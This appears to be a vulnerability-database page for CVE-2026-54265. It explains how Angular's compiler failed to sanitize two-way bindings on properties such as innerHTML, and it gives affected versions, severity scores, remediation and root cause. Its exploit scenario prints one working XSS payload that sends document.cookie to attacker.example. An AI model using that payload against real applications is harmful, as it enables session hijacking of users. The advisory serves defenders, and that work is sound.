Skip to main content

Angular Compiler CVE-2026-54265

| EUVDEUVD-2026-38268 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-15 https://github.com/angular/angular GHSA-58w9-8g37-x9v5
5.3
CVSS 4.0 · Vendor: https://github.com/angular/angular
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify Angular app using [(innerHTML)] or similar two-way binding
  2. Delivery
    Craft XSS payload targeting vulnerable property
  3. Exploit
    Submit payload via user-controlled input channel
  4. Install
    Victim user loads page with vulnerable template
  5. C2
    Compiler-emitted ɵɵtwoWayProperty applies unsanitized value to DOM
  6. Execute
    Injected JavaScript executes in victim browser
  7. Impact
    Exfiltrate session tokens or perform actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent application-code conditions. First, the vulnerable Angular application template must use the two-way binding syntax - specifically [(property)] banana-in-a-box or bindon-property - on one of the following security-sensitive native DOM properties: innerHTML, srcdoc, src (on img or iframe elements), href (on link elements), data (on object elements), or sandbox (on iframe elements). Standard two-way data binding via ngModel on form inputs is NOT affected, as ngModel binds to value/checked and not to security-sensitive DOM sinks. Second, the value supplied to that binding must be influenced by user-controlled input - for example, form field values, URL parameters, or backend-sourced user-generated content rendered without server-side sanitization. Third, the application must not independently call DomSanitizer.sanitize() or DomSanitizer.bypassSecurityTrustHtml() before passing the value to the binding. Exploitation is limited to client-side XSS within the victim's browser; there is no server-side impact. User interaction (UI:R) is required - a victim must load the page containing the vulnerable template.

Impact

No CVSS vector or EPSS score is available for this CVE, and it is not listed in the CISA KEV catalog, so quantitative risk signals are absent and must be inferred from the description and patch diff. The vulnerability is network-reachable and requires no attacker authentication - however, exploitability depends on three application-code preconditions that must all be true: the app must use two-way binding syntax on sensitive properties, user input must reach that binding, and no supplemental DomSanitizer call must exist. These preconditions are application-code conditions, not attacker-controlled, which functionally raises the bar for exploitation at scale. That said, for applications meeting these conditions the attack is straightforward: submit a crafted payload, load the page, and the browser executes unsanitized HTML or a javascript: URL. XSS impact potential is high - session hijacking and credential theft are realistic outcomes. Angular 19.x and below have no available patch, which is a significant concern for organizations on long-term support branches or those slow to upgrade major versions. The absence of KEV listing and public POC should not be interpreted as low urgency; the patch diff fully documents the vulnerable and fixed code paths, which lowers the bar for independent exploit development.

Exploit ScenarioDerived

An attacker targeting a vulnerable Angular application that renders user profile data with a template containing <div [(innerHTML)]="userBio"></div> submits a bio value containing <img src=x onerror=document.location='https://attacker.example/steal?c='+document.cookie>. Because the compiler emitted ɵɵtwoWayProperty('innerHTML', ctx.userBio) without a sanitizer function, Angular applies the raw string directly to the innerHTML DOM property. Any victim user whose browser renders that profile page has their session cookies exfiltrated. No public exploit code has been identified at time of analysis, though the patch diff in PR #69107 provides sufficient detail to reconstruct the vulnerable code path.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 15, 2026

DOM sanitization bypass in @angular/compiler allows client-side XSS in Angular applications that use two-way property binding syntax on security-sensitive native DOM properties. The Angular template compiler's sanitizer-resolution phase omitted a case for the TwoWayProperty IR operation, meaning compiled templates with [(innerHTML)], [(src)], [(href)], [(srcdoc)], [(data)], or [(sandbox)] bindings emit the runtime ɵɵtwoWayProperty() instruction without the required sanitizer function argument, while identical one-way [property] bindings are correctly protected. No active exploitation has been confirmed (not in CISA KEV), and no public exploit code has been identified at time of analysis, though the patch diff in PR #69107 fully characterizes the missing code path.

RemediationAI

Upgrade @angular/compiler (and the corresponding @angular/core and Angular framework packages) to the patched versions released by the Angular team: 22.0.1, 21.2.17, or 20.3.25 depending on the major version in use, as documented in the GitHub security advisory at https://github.com/angular/angular/security/advisories/GHSA-58w9-8g37-x9v5. The fix is implemented in commit 3c70270c96677c0dd33585f2afe8e187113e5fb4 (PR #69107); upgrading via npm will pull in the corrected compiler and regenerate sanitized output on the next build. For applications on Angular 19.x or below, where no vendor-released patch has been identified, the most targeted compensating control is to audit all templates for use of the two-way binding syntax ([(property)] or bindon-property) on the properties innerHTML, srcdoc, src (img/iframe), href (link), data (object), and sandbox (iframe), then either rewrite those bindings as one-way [property] bindings (which are correctly sanitized) or introduce explicit DomSanitizer.sanitize() calls before values reach the binding. The trade-off of converting to one-way bindings is loss of automatic value write-back from the DOM; this is generally acceptable for security-sensitive properties where write-back is rarely meaningful. Do not rely on downstream HTML encoding or CSP alone as a compensating control - CSP can mitigate some XSS vectors but does not address all sensitive DOM properties (e.g., src and href navigation).

Affected VersionsENISA

angular ≤ 19.2.25
angular 20.0.0-next.0 < 20.3.25
angular 22.0.0-next.0 < 22.0.1
angular 21.0.0-next.0 < 21.2.17

Affected Packages

npm @angular/compiler fix: 20.3.25, 21.2.17, 22.0.1
euvd angular fix: 20.3.25, 21.2.17, 22.0.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Angular template compiler processes templates through a compilation pipeline defined in packages/compiler/src/template/pipeline/src/phases/resolve_sanitizers.ts. This phase iterates over IR operations and, for PropertyBinding operations targeting schema-flagged sensitive properties, injects references to runtime sanitizer functions (ɵɵsanitizeHtml, ɵɵsanitizeUrl, ɵɵsanitizeResourceUrl, ɵɵvalidateAttribute). The root cause confirmed in commit 3c70270 is that the switch-case handling this logic omitted the ir.OpKind.TwoWayProperty case - a single missing case statement. Consequently, compiled output for two-way bindings like [(innerHTML)] emits ɵɵtwoWayProperty('innerHTML', ctx.value) without a third sanitizer argument, whereas [innerHTML] correctly emits ɵɵproperty('innerHTML', ctx.value, ɵɵsanitizeHtml). The affected package is npm/@angular/compiler across versions 20.x, 21.x, and 22.x pre-patch, and all 19.x releases per GHSA-58w9-8g37-x9v5. CWE-79 (Improper Neutralization of Input During Web Page Generation) applies directly: user-supplied content reaches a security-sensitive DOM sink without neutralization.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/angular/angular) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 9.3 CRITICAL

Network-delivered XSS with no attacker authentication; requires victim to load the page (UI:R); scope change to victim browser (S:C); full session compromise possible (C:H/I:H).

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Red Hat 6.1 MEDIUM

Primary rating from Vendor (https://github.com/angular/angular).

CVSS VectorVendor: https://github.com/angular/angular

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jun 22, 2026 - 16:52 NVD
5.3 (MEDIUM)

DescriptionCVE.org

An issue in the @angular/compiler package allows bypassing DOM property sanitization through the use of two-way property bindings.

Specifically, when a native DOM property that requires sanitization (such as innerHTML, srcdoc, src, href, data, or sandbox) is bound using the two-way binding syntax (e.g., [(innerHTML)]="value" or bindon-innerHTML="value"), the Angular template compiler failed to apply the appropriate schema-derived sanitizer resolution to the TwoWayProperty operation. As a result, native two-way DOM bindings were emitted without the required sanitizer function, whereas equivalent one-way bindings would be properly sanitized.

This flaw enables an attacker who can control the value of a two-way bound sensitive property to bypass Angular's built-in sanitization logic, potentially leading to client-side Cross-Site Scripting (XSS).

Impact

Any Angular application that uses two-way data binding ([()] or bindon-) on security-sensitive native DOM properties (like innerHTML, href on <a>, src on <img>/<iframe>, etc.) is vulnerable to this security bypass.

Once exploited, this allows a malicious actor to supply an unsanitized property binding value that bypasses core sanitization constraints. This could lead to the execution of arbitrary JavaScript within the target user's browser context, potentially resulting in session hijacking, sensitive data exposure, or unauthorized actions on behalf of the user.

Attack Preconditions

To successfully exploit this vulnerability, the following environment parameters and application states must concurrently exist:

  1. Two-Way Binding on Sensitive Properties: The application must bind to a sensitive native DOM property using the two-way binding syntax (e.g., <div [(innerHTML)]="userContent"></div>).
  2. User-Controlled Input: The value bound to this property must be influenceable by user-controlled input.
  3. Absence of Additional Sanitization: The application does not perform separate manual sanitization (e.g., via DomSanitizer) before passing the value to the bound property.

Patches

  • 22.0.1
  • 21.2.17
  • 20.3.25

Threat Intelligence Overview

EPSS Score
0.3%
Top 77% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy